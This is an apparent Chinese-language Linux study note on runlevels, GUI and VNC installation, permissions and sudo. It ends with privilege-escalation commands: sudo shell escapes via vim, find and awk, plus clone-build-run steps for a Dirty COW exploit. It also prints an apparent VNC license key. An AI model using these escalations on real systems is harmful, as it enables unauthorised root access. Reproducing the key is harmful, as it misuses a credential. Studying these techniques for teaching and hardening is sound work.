学习目标
1.学会查看运行级别
2.学会安装linux的图形界面
3.学会安装VNC
4.学会不同权限的转换
5.学会sudo用法
6.学会sudo提权
1.linux的运行级别
运行级别0 关机
运行级别1 单用户
运行级别2 不带网络的多用户(多终端)
运行级别3 完整的多用户模式
运行级别4 保留
运行级别5 桌面模式
运行级别6 重启
#切换运行级别
init 0
#查看运行级别
systemctl get-default
#设置运行级别
systemctl set-default grapical.target #设置默认运行级别为图形
systemctl set-default multi-user.target #设置默认运行级别为命令行
切换终端alt+ F1/F2/F3
vnc viewer 客户端
华为终端盒子
1)安装linux的图形界面
1)安装linux系统的图形界面
2)重启调整内存和处理器
3)要出现以下界面要先创建一个普通用户bai就可以用root用户登录
#安装图形化界面
yum groups install "GNOME Desktop" -y
useradd linux
#切换linux运行级别
systemctl set-default graphical.target
reboot
#初始化设置图形界面
一路下一步执行
2)安装VNC
vnc是一款很好用的远程控制软件,支持全平台,不管是linux系统、windowns系统
还是苹果系统,都支持VNC。
1.安装vnc server
去找一个有效的密钥
小结:
#安装图形化界面
yum groups install "GNOME Desktop" -y
useradd linux
#切换运行级别
systemctl set-default graphical.target
reboot
#初始化设置图形界面
接着一路下一步下一步的执行
#安装vnc-server远程控制linux桌面
yum localinstall VNC-Server-6.8.0-Linux-x64.rpm -y
vnclicense -add 84WFN-YRJ4C-WA44V-9BW6X-PAE2A
鼠标点击--应用程序--互联网--vnc server
#客户端连接
192.168.***.111:5900 或者
192.168.***.111:0
2.linux权限掩码
#修改文件vim /etc/profile
root 默认权限掩码 022
普通用户 默认权限掩码 002
inode:存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号
以上是root用户的演示,下面演示普通用户的权限
3.linux特殊权限
suid 其他用户,拥有该文件属主的执行权限
sgid 其他用户,拥有该文件属组的执行权限
sticky 很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件权限
4.Sudo用法
su == switch user
sudo == superuser do
sudo是常用的Linux系统命令,允许普通用户执行root命令.
1.配置/etc/sudoers
#用户名 所有终端 = 运行的用户身份 命令ALL
zhangsan ALL=(ALL) /bin/systemctl,/usr/bin/vim
2.使用sudo执行命令
#使用sudo来执行命令
sudo systemctl stop network #start,stop,restart
3.查看可以使用的授权命令
sudo -l
5.linux普通用户提权
Sudo提权
vim #命令模式执行:!bash
find #sudo find . -exec bash \;
awk #sudo awk 'BEGIN {system("/bin/bash")}' 1.txt
awk sudo提权
Linux下利用sudo实现提权
linux sudo提权
6.脏牛提权
仓库地址:https://github.com/gbonacini/CVE-2016-5195
#使用git拉取代码
git clone https://gitee.com/xiaozhi1314_admin/CVE-2016-5195.git
cd CVE-2016-5195/
make #编译
./dcow -s #提权
低版本的红帽存在脏牛提权漏洞。
Linux sudo提权-cve-2021-3156
总结
以上就是要讲的内容,本文介绍了linux的运行级别,如何安装linux的图形界面以及安装VNC,还有如何转换不同的权限和提权等等,涉及的知识点很多。